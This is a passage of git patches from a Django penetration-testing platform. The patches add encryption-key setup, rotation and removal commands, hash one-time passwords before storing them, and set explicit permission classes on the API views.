ALLOWED_HOSTS = ( "RKN_ALLOWED_HOSTS", "security.allowed-hosts", diff --git a/src/backend/security/cryptography/encryption.py b/src/backend/security/cryptography/encryption.py index eb14c0c1e..fae6694ea 100644 --- a/src/backend/security/cryptography/encryption.py +++ b/src/backend/security/cryptography/encryption.py @@ -1,7 +1,7 @@ from cryptography.fernet import Fernet -class Encryption: +class Encryptor: def __init__(self, encryption_key: str) -> None: self.fernet = Fernet(encryption_key.encode()) @@ -13,4 +13,4 @@ def decrypt(self, value: str) -> str: @classmethod def generate_encryption_key(self) -> str: - return self.fernet.generate_key().decode() + return Fernet.generate_key().decode() diff --git a/src/backend/security/management/__init__.py b/src/backend/security/management/__init__.py new file mode 100644 index 000000000..057243216 --- /dev/null +++ b/src/backend/security/management/__init__.py @@ -0,0 +1 @@ +'''Management commands.''' diff --git a/src/backend/security/management/commands/__init__.py b/src/backend/security/management/commands/__init__.py new file mode 100644 index 000000000..057243216 --- /dev/null +++ b/src/backend/security/management/commands/__init__.py @@ -0,0 +1 @@ +'''Management commands.''' diff --git a/src/backend/security/management/commands/encryption_key.py b/src/backend/security/management/commands/encryption_key.py new file mode 100644 index 000000000..4cd094ebc --- /dev/null +++ b/src/backend/security/management/commands/encryption_key.py @@ -0,0 +1,41 @@ +import logging +from typing import Tuple + +from django.apps import apps +from framework.models import BaseEncrypted +from rekono.properties import Property +from rekono.settings import CONFIG +from security.cryptography.encryption import Encryptor + +logger = logging.getLogger() + + +class BaseEncryptionKeyCommand: + def _get_current_encryptor(self) -> Encryptor: + return Encryptor(CONFIG.encryption_key) + + def _get_new_encryptor(self) -> Tuple[Encryptor, str]: + new_encryption_key = Encryptor.generate_encryption_key() + return Encryptor(new_encryption_key), new_encryption_key + + def _replace_encrypted_values( + self, new_value_processor: callable, old_value_processor: callable + ) -> None: + for model in apps.get_models(): + if not issubclass(model, BaseEncrypted): + continue + for entity in model.objects.all(): + encrypted_value = getattr(entity, entity._encrypted_field) + if encrypted_value: + setattr( + entity, + entity._encrypted_field, + new_value_processor(old_value_processor(encrypted_value)), + ) + entity.save(update_fields=[entity._encrypted_field]) + + def _configure_encryption_key(self, new_encryption_key: str) -> None: + CONFIG.encryption_key = new_encryption_key + CONFIG._update_config_in_file( + Property.ENCRYPTION_KEY.value[1], new_encryption_key + ) diff --git a/src/backend/security/management/commands/remove_encryption_key.py b/src/backend/security/management/commands/remove_encryption_key.py new file mode 100644 index 000000000..3bb09bad4 --- /dev/null +++ b/src/backend/security/management/commands/remove_encryption_key.py @@ -0,0 +1,23 @@ +import logging +import sys +from typing import Any + +from django.core.management.base import BaseCommand +from rekono.settings import CONFIG +from security.management.commands.encryption_key import BaseEncryptionKeyCommand + +logger = logging.getLogger() + + +class Command(BaseCommand, BaseEncryptionKeyCommand): + help = "Remove the configured encryption key to store all sensitive data as plain text in database" + + def handle(self, *args: Any, **options: Any) -> None: + if not CONFIG.encryption_key: + logger.error("Encryption key is not configured yet") + sys.exit(1) + self._replace_encrypted_values( + lambda v: v, self._get_current_encryptor().decrypt + ) + self._configure_encryption_key(None) + logger.info(f"Encryption key has been removed from {CONFIG.config_file}") diff --git a/src/backend/security/management/commands/rotate_encryption_key.py b/src/backend/security/management/commands/rotate_encryption_key.py new file mode 100644 index 000000000..b14d98703 --- /dev/null +++ b/src/backend/security/management/commands/rotate_encryption_key.py @@ -0,0 +1,26 @@ +import logging +import sys +from typing import Any + +from django.core.management.base import BaseCommand +from rekono.settings import CONFIG +from security.management.commands.encryption_key import BaseEncryptionKeyCommand + +logger = logging.getLogger() + + +class Command(BaseCommand, BaseEncryptionKeyCommand): + help = "Rotate the configured encryption key" + + def handle(self, *args: Any, **options: Any) -> None: + if not CONFIG.encryption_key: + logger.error( + "Encryption key is not configured. Use setup_encryption_key command first to configure it" + ) + sys.exit(1) + new_encryptor, new_encryption_key = self._get_new_encryptor() + self._replace_encrypted_values( + new_encryptor.encrypt, self._get_current_encryptor().decrypt + ) + self._configure_encryption_key(new_encryption_key) + logger.info(f"Encryption key has been rotated in {CONFIG.config_file}") diff --git a/src/backend/security/management/commands/setup_encryption_key.py b/src/backend/security/management/commands/setup_encryption_key.py new file mode 100644 index 000000000..e89377c40 --- /dev/null +++ b/src/backend/security/management/commands/setup_encryption_key.py @@ -0,0 +1,26 @@ +import logging +import sys +from typing import Any + +from django.core.management.base import BaseCommand +from rekono.settings import CONFIG +from security.management.commands.encryption_key import BaseEncryptionKeyCommand + +logger = logging.getLogger() + + +class Command(BaseCommand, BaseEncryptionKeyCommand): + help = ( + "Configure an encryption key to keep sensitive data encrypted in the database" + ) + + def handle(self, *args: Any, **options: Any) -> None: + if CONFIG.encryption_key: + logger.error( + "Encryption key is already configured. Use rotate_encryption_key command to change it" + ) + sys.exit(1) + new_encryptor, new_encryption_key = self._get_new_encryptor() + self._replace_encrypted_values(new_encryptor.encrypt, lambda v: v) + self._configure_encryption_key(new_encryption_key) + logger.info(f"New encryption key has been stored in {CONFIG.config_file}") From 5f4f2b295d5884d40fb9c95cfab6f1e6906b74ec Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 13:43:52 +0100 Subject: [PATCH 070/141] Configure encryption key for the unit tests execution --- src/backend/tests/framework.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index c5e4d5eb2..40887ea74 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -31,8 +31,10 @@ from parameters.models import InputTechnology, InputVulnerability from processes.models import Process, Step from projects.models import Project +from rekono.settings import CONFIG from rest_framework.test import APIClient from security.authorization.roles import Role +from security.cryptography.encryption import Encryptor from target_ports.models import TargetPort from targets.enums import TargetType from targets.models import Target @@ -66,6 +68,7 @@ def _create_user(self, username: str, role: Role) -> User: return new_user def setUp(self) -> None: + CONFIG.encryption_key = Encryptor.generate_encryption_key() self.users: Dict[Role, List[User]] = { Role.ADMIN: [], Role.AUDITOR: [], From f2445a0a603402fbc1d91502ede087574dcc9f9d Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 13:58:17 +0100 Subject: [PATCH 071/141] Store hashed OTPs in database instead of plain text ones --- src/backend/platforms/mail/notifications.py | 21 +++++++++++++------ .../mail/templates/user_enable_account.html | 2 +- .../mail/templates/user_invitation.html | 2 +- .../mail/templates/user_password_reset.html | 2 +- .../platforms/telegram_app/bot/commands.py | 10 +++++---- .../platforms/telegram_app/serializers.py | 3 ++- src/backend/tests/platforms/test_telegram.py | 3 ++- src/backend/tests/test_users.py | 10 +++++++-- src/backend/users/models.py | 17 ++++++++------- src/backend/users/serializers.py | 3 ++- 10 files changed, 48 insertions(+), 25 deletions(-) diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index 72d8ca3ee..a3828e71a 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -85,19 +85,28 @@ def _notify_execution( }, ) - def invite_user(self, user: Any) -> None: + def invite_user(self, user: Any, otp: str) -> None: self._send_messages_in_background( - [user], "Welcome to Rekono", "user_invitation.html", {"user": user} + [user], + "Welcome to Rekono", + "user_invitation.html", + {"user": user, "user_otp": otp}, ) - def reset_password(self, user: Any) -> None: + def reset_password(self, user: Any, otp: str) -> None: self._send_messages_in_background( - [user], "Reset Rekono password", "user_password_reset.html", {"user": user} + [user], + "Reset Rekono password", + "user_password_reset.html", + {"user": user, "user_otp": otp}, ) - def enable_user_account(self, user: Any) -> None: + def enable_user_account(self, user: Any, otp: str) -> None: self._send_messages_in_background( - [user], "Rekono user enabled", "user_enable_account.html", {"user": user} + [user], + "Rekono user enabled", + "user_enable_account.html", + {"user": user, "user_otp": otp}, ) def login_notification(self, user: Any) -> None: diff --git a/src/backend/platforms/mail/templates/user_enable_account.html b/src/backend/platforms/mail/templates/user_enable_account.html index e1523d664..c5a3ea11c 100644 --- a/src/backend/platforms/mail/templates/user_enable_account.html +++ b/src/backend/platforms/mail/templates/user_enable_account.html @@ -19,7 +19,7 @@

Welcome {{ user.username }}!

{% endif %}

Your Rekono user has been enabled. Please, follow this link to establish your password.

- Set password + Set password
diff --git a/src/backend/platforms/mail/templates/user_invitation.html b/src/backend/platforms/mail/templates/user_invitation.html index 9981e21f0..a50e3bd50 100644 --- a/src/backend/platforms/mail/templates/user_invitation.html +++ b/src/backend/platforms/mail/templates/user_invitation.html @@ -15,7 +15,7 @@

Welcome to Rekono!

You have been invited to Rekono. Please, follow this link to create your account.

- Signup + Signup diff --git a/src/backend/platforms/mail/templates/user_password_reset.html b/src/backend/platforms/mail/templates/user_password_reset.html index 53a06d008..07e30dc9c 100644 --- a/src/backend/platforms/mail/templates/user_password_reset.html +++ b/src/backend/platforms/mail/templates/user_password_reset.html @@ -15,7 +15,7 @@

Reset your password

Please, follow this link to reset your password.

- Reset password + Reset password diff --git a/src/backend/platforms/telegram_app/bot/commands.py b/src/backend/platforms/telegram_app/bot/commands.py index 08df717cd..7ac92a784 100644 --- a/src/backend/platforms/telegram_app/bot/commands.py +++ b/src/backend/platforms/telegram_app/bot/commands.py @@ -6,6 +6,7 @@ from platforms.telegram_app.bot.framework import BaseTelegramBot from platforms.telegram_app.models import TelegramChat from rekono.settings import DESCRIPTION +from security.cryptography.hashing import hash from telegram import Update from telegram.ext import CallbackContext, CommandHandler, ConversationHandler from users.models import User @@ -59,19 +60,20 @@ class Start(BaseCommand): @sync_to_async def _update_or_create_telegram_chat_async(self, chat_id: int) -> TelegramChat: + plain_otp = User.objects.generate_otp(TelegramChat) telegram_chat, _ = TelegramChat.objects.update_or_create( defaults={ "user": None, - "otp": User.objects.generate_otp(TelegramChat), + "otp": hash(plain_otp), "otp_expiration": User.objects.get_otp_expiration_time(), }, chat_id=chat_id, ) - return telegram_chat + return telegram_chat, plain_otp async def _execute_command(self, update: Update, context: CallbackContext) -> None: await super()._execute_command(update, context) - telegram_chat = await self._update_or_create_telegram_chat_async( + telegram_chat, plain_otp = await self._update_or_create_telegram_chat_async( update.effective_chat.id ) logger.info( @@ -88,7 +90,7 @@ async def _execute_command(self, update: Update, context: CallbackContext) -> No Then, type /help to start hacking\. Enjoy\! """.format( - otp=telegram_chat.otp + otp=plain_otp ), ) diff --git a/src/backend/platforms/telegram_app/serializers.py b/src/backend/platforms/telegram_app/serializers.py index 23764132a..01f445b50 100644 --- a/src/backend/platforms/telegram_app/serializers.py +++ b/src/backend/platforms/telegram_app/serializers.py @@ -9,6 +9,7 @@ from rest_framework import status from rest_framework.exceptions import AuthenticationFailed from rest_framework.serializers import ModelSerializer, SerializerMethodField +from security.cryptography.hashing import hash from security.input_validator import Regex, Validator logger = logging.getLogger() @@ -52,7 +53,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: attrs = super().validate(attrs) try: attrs["telegram_chat"] = TelegramChat.objects.get( - otp=attrs.get("otp"), + otp=hash(attrs.get("otp")), otp_expiration__gt=timezone.now(), user=None, ) diff --git a/src/backend/tests/platforms/test_telegram.py b/src/backend/tests/platforms/test_telegram.py index f10f7afad..f7f83e151 100644 --- a/src/backend/tests/platforms/test_telegram.py +++ b/src/backend/tests/platforms/test_telegram.py @@ -1,6 +1,7 @@ from typing import Any from platforms.telegram_app.models import TelegramChat +from security.cryptography.hashing import hash from tests.cases import ApiTestCase from tests.framework import ApiTest from users.models import User @@ -57,7 +58,7 @@ def test_link(self) -> None: for user in users: otp = User.objects.generate_otp(TelegramChat) chat = TelegramChat.objects.create( - otp=otp, + otp=hash(otp), otp_expiration=User.objects.get_otp_expiration_time(), chat_id=chat_id, ) diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index b67c84d94..1e285a3f2 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -1,6 +1,7 @@ from typing import Any from security.authorization.roles import Role +from security.cryptography.hashing import hash from tests.cases import ApiTestCase from tests.framework import ApiTest from users.enums import Notification @@ -269,7 +270,9 @@ def test_invite_and_create(self) -> None: response = authenticated_client.post(self.endpoint, data=invitation1) self.assertEqual(201, response.status_code) new_user = User.objects.get(email=invitation1["email"]) - otp = new_user.otp + otp = User.objects.generate_otp() + new_user.otp = hash(otp) + new_user.save(update_fields=["otp"]) response = authenticated_client.post( f"{self.endpoint}create/", data={"otp": otp, **user1} @@ -402,7 +405,10 @@ def test_reset_password(self) -> None: client = self._get_api_client() response = client.post(self.endpoint, data={"email": self.admin1.email}) self.assertEqual(200, response.status_code) - otp = User.objects.get(email=self.admin1.email).otp + user = User.objects.get(email=self.admin1.email) + otp = User.objects.generate_otp() + user.otp = hash(otp) + user.save(update_fields=["otp"]) response = client.put( self.endpoint, data={"otp": "invalid OTP", "password": new_valid_password} diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 6139ecb62..3bd85a902 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -29,7 +29,7 @@ class RekonoUserManager(UserManager): def generate_otp(self, model: Any = None) -> str: otp = hash(generate_random_value(3000)) - if (model or User).objects.filter(otp=otp).exists(): + if (model or User).objects.filter(otp=hash(otp)).exists(): return self.generate_otp(model) return otp @@ -60,14 +60,15 @@ def invite_user(self, email: str, role: Role) -> Any: Any: Created user """ # Create new user including an OTP. The user will be inactive while invitation is not accepted + plain_otp = self.generate_otp() user = User.objects.create( email=email, - otp=self.generate_otp(), + otp=hash(plain_otp), otp_expiration=self.get_otp_expiration_time(), is_active=None, ) self.assign_role(user, role) - SMTP().invite_user(user) + SMTP().invite_user(user, plain_otp) logger.info(f"[User] User {user.id} has been invited with role {role}") return user @@ -126,11 +127,12 @@ def enable_user(self, user: Any) -> Any: Returns: Any: Enabled user """ - user.otp = self.generate_otp() # Generate its OTP + plain_otp = self.generate_otp() + user.otp = hash(plain_otp) user.otp_expiration = self.get_otp_expiration_time() # Set OTP expiration user.is_active = True user.save(update_fields=["otp", "otp_expiration", "is_active"]) - SMTP().enable_user_account(user) + SMTP().enable_user_account(user, plain_otp) logger.info(f"[User] User {user.id} has been enabled") return user @@ -165,10 +167,11 @@ def request_password_reset(self, user: Any) -> Any: Returns: Any: User after request password reset """ - user.otp = self.generate_otp() # Generate its OTP + plain_otp = self.generate_otp() + user.otp = hash(plain_otp) user.otp_expiration = self.get_otp_expiration_time() # Set OTP expiration user.save(update_fields=["otp", "otp_expiration"]) - SMTP().reset_password(user) + SMTP().reset_password(user, plain_otp) logger.info( f"[User] User {user.id} requested a password reset", extra={"user": user.id} ) diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index a62e11eb9..d0b2452bf 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -15,6 +15,7 @@ Serializer, ) from security.authorization.roles import Role +from security.cryptography.hashing import hash from users.models import User logger = logging.getLogger() @@ -150,7 +151,7 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: try: # Search inactive user by otp and check expiration datetime user = User.objects.get( - otp=attrs.get("otp"), otp_expiration__gt=timezone.now() + otp=hash(attrs.get("otp")), otp_expiration__gt=timezone.now() ) except User.DoesNotExist: # Invalid otp raise AuthenticationFailed( From e37a467c4fa27a6329bed1a6cf05bb0828260470 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 8 Dec 2023 14:24:53 +0100 Subject: [PATCH 072/141] Override permission_classes in those views with different permissions than the default ones that are restrictive by default --- src/backend/authentications/views.py | 10 ++++++++++ src/backend/executions/views.py | 10 ++++++++++ src/backend/findings/framework/views.py | 10 ++++++++++ src/backend/parameters/views.py | 15 +++++++++++++++ src/backend/platforms/defect_dojo/views.py | 12 +++++++++++- src/backend/platforms/mail/views.py | 3 +++ src/backend/platforms/telegram_app/views.py | 4 ++++ src/backend/processes/views.py | 4 ++++ src/backend/projects/views.py | 10 ++++++++++ src/backend/settings/views.py | 3 +++ src/backend/target_blacklist/views.py | 3 +++ src/backend/target_ports/views.py | 10 ++++++++++ src/backend/targets/views.py | 10 ++++++++++ src/backend/tasks/views.py | 10 ++++++++++ src/backend/tools/views.py | 4 ++++ src/backend/users/views.py | 12 ++++++++---- src/backend/wordlists/views.py | 3 +++ 17 files changed, 128 insertions(+), 5 deletions(-) diff --git a/src/backend/authentications/views.py b/src/backend/authentications/views.py index a67a08ab1..469afc45d 100644 --- a/src/backend/authentications/views.py +++ b/src/backend/authentications/views.py @@ -2,6 +2,11 @@ from authentications.models import Authentication from authentications.serializers import AuthenticationSerializer from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import ( + ProjectMemberPermission, + RekonoModelPermission, +) # Create your views here. @@ -12,6 +17,11 @@ class AuthenticationViewSet(BaseViewSet): queryset = Authentication.objects.all() serializer_class = AuthenticationSerializer filterset_class = AuthenticationFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] search_fields = ["name"] ordering_fields = ["id", "name", "type"] http_method_names = [ diff --git a/src/backend/executions/views.py b/src/backend/executions/views.py index 9370d06f2..af601a3dc 100644 --- a/src/backend/executions/views.py +++ b/src/backend/executions/views.py @@ -2,6 +2,11 @@ from executions.models import Execution from executions.serializers import ExecutionSerializer from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import ( + ProjectMemberPermission, + RekonoModelPermission, +) # Create your views here. @@ -10,6 +15,11 @@ class ExecutionViewSet(BaseViewSet): queryset = Execution.objects.all() serializer_class = ExecutionSerializer filterset_class = ExecutionFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] search_fields = [ "task__target__target", "task__process__name", diff --git a/src/backend/findings/framework/views.py b/src/backend/findings/framework/views.py index 2ea523eec..c98e43eba 100644 --- a/src/backend/findings/framework/views.py +++ b/src/backend/findings/framework/views.py @@ -1,9 +1,19 @@ from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated from rest_framework.serializers import Serializer +from security.authorization.permissions import ( + ProjectMemberPermission, + RekonoModelPermission, +) class FindingViewSet(BaseViewSet): triage_serializer_class = None + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] http_method_names = [ "get", "put", diff --git a/src/backend/parameters/views.py b/src/backend/parameters/views.py index 7dc3a78e9..830b48bfa 100644 --- a/src/backend/parameters/views.py +++ b/src/backend/parameters/views.py @@ -5,6 +5,11 @@ InputTechnologySerializer, InputVulnerabilitySerializer, ) +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import ( + ProjectMemberPermission, + RekonoModelPermission, +) # Create your views here. @@ -15,6 +20,11 @@ class InputTechnologyViewSet(BaseViewSet): queryset = InputTechnology.objects.all() serializer_class = InputTechnologySerializer filterset_class = InputTechnologyFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] # Fields used to search input technologies search_fields = ["name", "version"] ordering_fields = ["id", "target", "name"] @@ -31,6 +41,11 @@ class InputVulnerabilityViewSet(BaseViewSet): queryset = InputVulnerability.objects.all() serializer_class = InputVulnerabilitySerializer filterset_class = InputVulnerabilityFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] # Fields used to search input vulnerabilities search_fields = ["cve"] ordering_fields = ["id", "target", "cve"] diff --git a/src/backend/platforms/defect_dojo/views.py b/src/backend/platforms/defect_dojo/views.py index 1995a7933..368806565 100644 --- a/src/backend/platforms/defect_dojo/views.py +++ b/src/backend/platforms/defect_dojo/views.py @@ -8,7 +8,11 @@ DefectDojoSyncSerializer, ) from rest_framework.permissions import IsAuthenticated -from security.authorization.permissions import IsAuditor +from security.authorization.permissions import ( + IsAuditor, + ProjectMemberPermission, + RekonoModelPermission, +) # Create your views here. @@ -16,6 +20,7 @@ class DefectDojoSettingsViewSet(BaseViewSet): queryset = DefectDojoSettings.objects.all() serializer_class = DefectDojoSettingsSerializer + permission_classes = [IsAuthenticated, RekonoModelPermission] http_method_names = [ "get", "put", @@ -25,6 +30,11 @@ class DefectDojoSettingsViewSet(BaseViewSet): class DefectDojoSyncViewSet(BaseViewSet): queryset = DefectDojoSync.objects.all() serializer_class = DefectDojoSyncSerializer + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] http_method_names = [ "post", "delete", diff --git a/src/backend/platforms/mail/views.py b/src/backend/platforms/mail/views.py index 6fcedd553..e9626986e 100644 --- a/src/backend/platforms/mail/views.py +++ b/src/backend/platforms/mail/views.py @@ -1,6 +1,8 @@ from framework.views import BaseViewSet from platforms.mail.models import SMTPSettings from platforms.mail.serializers import SMTPSettingsSerializer +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import RekonoModelPermission # Create your views here. @@ -8,6 +10,7 @@ class SMTPSettingsViewSet(BaseViewSet): queryset = SMTPSettings.objects.all() serializer_class = SMTPSettingsSerializer + permission_classes = [IsAuthenticated, RekonoModelPermission] http_method_names = [ "get", "put", diff --git a/src/backend/platforms/telegram_app/views.py b/src/backend/platforms/telegram_app/views.py index 91aaf36ad..22c0c1d58 100644 --- a/src/backend/platforms/telegram_app/views.py +++ b/src/backend/platforms/telegram_app/views.py @@ -4,6 +4,8 @@ TelegramChatSerializer, TelegramSettingsSerializer, ) +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import OwnerPermission, RekonoModelPermission # Create your views here. @@ -11,6 +13,7 @@ class TelegramSettingsViewSet(BaseViewSet): queryset = TelegramSettings.objects.all() serializer_class = TelegramSettingsSerializer + permission_classes = [IsAuthenticated, RekonoModelPermission] http_method_names = [ "get", "put", @@ -20,5 +23,6 @@ class TelegramSettingsViewSet(BaseViewSet): class TelegramChatViewSet(BaseViewSet): queryset = TelegramChat.objects.all() serializer_class = TelegramChatSerializer + permission_classes = [IsAuthenticated, RekonoModelPermission, OwnerPermission] http_method_names = ["post", "delete"] owner_field = "user" diff --git a/src/backend/processes/views.py b/src/backend/processes/views.py index 232cbb5ba..e0a778355 100644 --- a/src/backend/processes/views.py +++ b/src/backend/processes/views.py @@ -2,6 +2,8 @@ from processes.filters import ProcessFilter, StepFilter from processes.models import Process, Step from processes.serializers import ProcessSerializer, StepSerializer +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import OwnerPermission, RekonoModelPermission # Create your views here. @@ -10,6 +12,7 @@ class ProcessViewSet(LikeViewSet): queryset = Process.objects.all() serializer_class = ProcessSerializer filterset_class = ProcessFilter + permission_classes = [IsAuthenticated, RekonoModelPermission, OwnerPermission] search_fields = ["name", "description"] ordering_fields = ["id", "name", "owner", "likes_count"] http_method_names = [ @@ -24,6 +27,7 @@ class StepViewSet(BaseViewSet): queryset = Step.objects.all() serializer_class = StepSerializer filterset_class = StepFilter + permission_classes = [IsAuthenticated, RekonoModelPermission, OwnerPermission] search_fields = [ "process__name", "configuration__tool__name", diff --git a/src/backend/projects/views.py b/src/backend/projects/views.py index f82eef394..bdb289f26 100644 --- a/src/backend/projects/views.py +++ b/src/backend/projects/views.py @@ -6,8 +6,13 @@ from rest_framework import status from rest_framework.decorators import action from rest_framework.generics import get_object_or_404 +from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request from rest_framework.response import Response +from security.authorization.permissions import ( + ProjectMemberPermission, + RekonoModelPermission, +) from users.models import User # Create your views here. @@ -19,6 +24,11 @@ class ProjectViewSet(BaseViewSet): queryset = Project.objects.all() serializer_class = ProjectSerializer filterset_class = ProjectFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] search_fields = ["name", "description"] # Fields used to search projects ordering_fields = ["id", "name"] diff --git a/src/backend/settings/views.py b/src/backend/settings/views.py index c84b3b59d..0c5d893ed 100644 --- a/src/backend/settings/views.py +++ b/src/backend/settings/views.py @@ -1,4 +1,6 @@ from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import RekonoModelPermission from settings.models import Settings from settings.serializers import SettingsSerializer @@ -10,4 +12,5 @@ class SettingsViewSet(BaseViewSet): queryset = Settings.objects.all() serializer_class = SettingsSerializer + permission_classes = [IsAuthenticated, RekonoModelPermission] http_method_names = ["get", "put"] diff --git a/src/backend/target_blacklist/views.py b/src/backend/target_blacklist/views.py index f9b8d3b28..e2b5b2587 100644 --- a/src/backend/target_blacklist/views.py +++ b/src/backend/target_blacklist/views.py @@ -1,5 +1,7 @@ from django.db.models import QuerySet from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import RekonoModelPermission from target_blacklist.filters import TargetBlacklistFilter from target_blacklist.models import TargetBlacklist from target_blacklist.serializers import TargetBlacklistSerializer @@ -11,6 +13,7 @@ class TargetBlacklistViewSet(BaseViewSet): queryset = TargetBlacklist.objects.all() filterset_class = TargetBlacklistFilter serializer_class = TargetBlacklistSerializer + permission_classes = [IsAuthenticated, RekonoModelPermission] search_fields = ["target"] ordering_fields = ["id", "target"] http_method_names = ["get", "post", "put", "delete"] diff --git a/src/backend/target_ports/views.py b/src/backend/target_ports/views.py index f6487e271..7662cffba 100644 --- a/src/backend/target_ports/views.py +++ b/src/backend/target_ports/views.py @@ -1,4 +1,9 @@ from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import ( + ProjectMemberPermission, + RekonoModelPermission, +) from target_ports.filters import TargetPortFilter from target_ports.models import TargetPort from target_ports.serializers import TargetPortSerializer @@ -12,6 +17,11 @@ class TargetPortViewSet(BaseViewSet): queryset = TargetPort.objects.all() serializer_class = TargetPortSerializer filterset_class = TargetPortFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] # Fields used to search target ports search_fields = ["port", "path"] ordering_fields = ["id", "target", "port", "path"] diff --git a/src/backend/targets/views.py b/src/backend/targets/views.py index 03930d690..cf00773a5 100644 --- a/src/backend/targets/views.py +++ b/src/backend/targets/views.py @@ -1,4 +1,9 @@ from framework.views import BaseViewSet +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import ( + ProjectMemberPermission, + RekonoModelPermission, +) from targets.filters import TargetFilter from targets.models import Target from targets.serializers import TargetSerializer @@ -12,6 +17,11 @@ class TargetViewSet(BaseViewSet): queryset = Target.objects.all() serializer_class = TargetSerializer filterset_class = TargetFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] # Fields used to search targets search_fields = ["target"] ordering_fields = ["id", "target", "type"] diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py index 88e305400..a75272187 100644 --- a/src/backend/tasks/views.py +++ b/src/backend/tasks/views.py @@ -10,9 +10,14 @@ from rekono.settings import CONFIG from rest_framework import status from rest_framework.decorators import action +from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request from rest_framework.response import Response from rq.command import send_stop_job_command +from security.authorization.permissions import ( + ProjectMemberPermission, + RekonoModelPermission, +) from tasks.filters import TaskFilter from tasks.models import Task from tasks.queues import TasksQueue @@ -27,6 +32,11 @@ class TaskViewSet(BaseViewSet): queryset = Task.objects.all() serializer_class = TaskSerializer filterset_class = TaskFilter + permission_classes = [ + IsAuthenticated, + RekonoModelPermission, + ProjectMemberPermission, + ] search_fields = [ "target__target", "process__name", diff --git a/src/backend/tools/views.py b/src/backend/tools/views.py index 7069e2bd1..32f93d7b8 100644 --- a/src/backend/tools/views.py +++ b/src/backend/tools/views.py @@ -1,7 +1,9 @@ from framework.views import BaseViewSet, LikeViewSet from rest_framework import status +from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request from rest_framework.response import Response +from security.authorization.permissions import RekonoModelPermission from tools.filters import ConfigurationFilter, ToolFilter from tools.models import Configuration, Tool from tools.serializers import ConfigurationSerializer, ToolSerializer @@ -13,6 +15,7 @@ class ToolViewSet(LikeViewSet): queryset = Tool.objects.all() serializer_class = ToolSerializer filterset_class = ToolFilter + permission_classes = [IsAuthenticated, RekonoModelPermission] search_fields = ["name", "command"] ordering_fields = ["id", "name", "command"] # "post" is needed to allow POST requests to like and dislike tools @@ -28,5 +31,6 @@ class ConfigurationViewSet(BaseViewSet): queryset = Configuration.objects.all() serializer_class = ConfigurationSerializer filterset_class = ConfigurationFilter + permission_classes = [IsAuthenticated, RekonoModelPermission] search_fields = ["name"] http_method_names = ["get"] diff --git a/src/backend/users/views.py b/src/backend/users/views.py index f60ddfbf6..44a57d00b 100644 --- a/src/backend/users/views.py +++ b/src/backend/users/views.py @@ -6,12 +6,16 @@ from framework.views import BaseViewSet from rest_framework import status from rest_framework.decorators import action -from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated +from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request from rest_framework.response import Response from rest_framework.serializers import Serializer from rest_framework.viewsets import GenericViewSet -from security.authorization.permissions import IsAdmin, IsNotAuthenticated +from security.authorization.permissions import ( + IsAdmin, + IsNotAuthenticated, + RekonoModelPermission, +) from users.filters import UserFilter from users.models import User from users.serializers import ( @@ -36,6 +40,8 @@ class UserViewSet(BaseViewSet): serializer_class = UserSerializer queryset = User.objects.all() filterset_class = UserFilter + # Required to include the IsAdmin to the base authorization classes and remove unneeded permissions + permission_classes = [IsAuthenticated, RekonoModelPermission, IsAdmin] # Fields used to search tasks search_fields = ["username", "first_name", "last_name", "email"] ordering_fields = [ @@ -53,8 +59,6 @@ class UserViewSet(BaseViewSet): "put", "delete", ] - # Required to include the IsAdmin to the base authorization classes and remove unneeded permissions - permission_classes = [IsAuthenticated, DjangoModelPermissions, IsAdmin] def _get_object_if_not_current_user(self, request) -> User: instance = self.get_object() # Get user instance diff --git a/src/backend/wordlists/views.py b/src/backend/wordlists/views.py index 5b1d0bd73..84201ccea 100644 --- a/src/backend/wordlists/views.py +++ 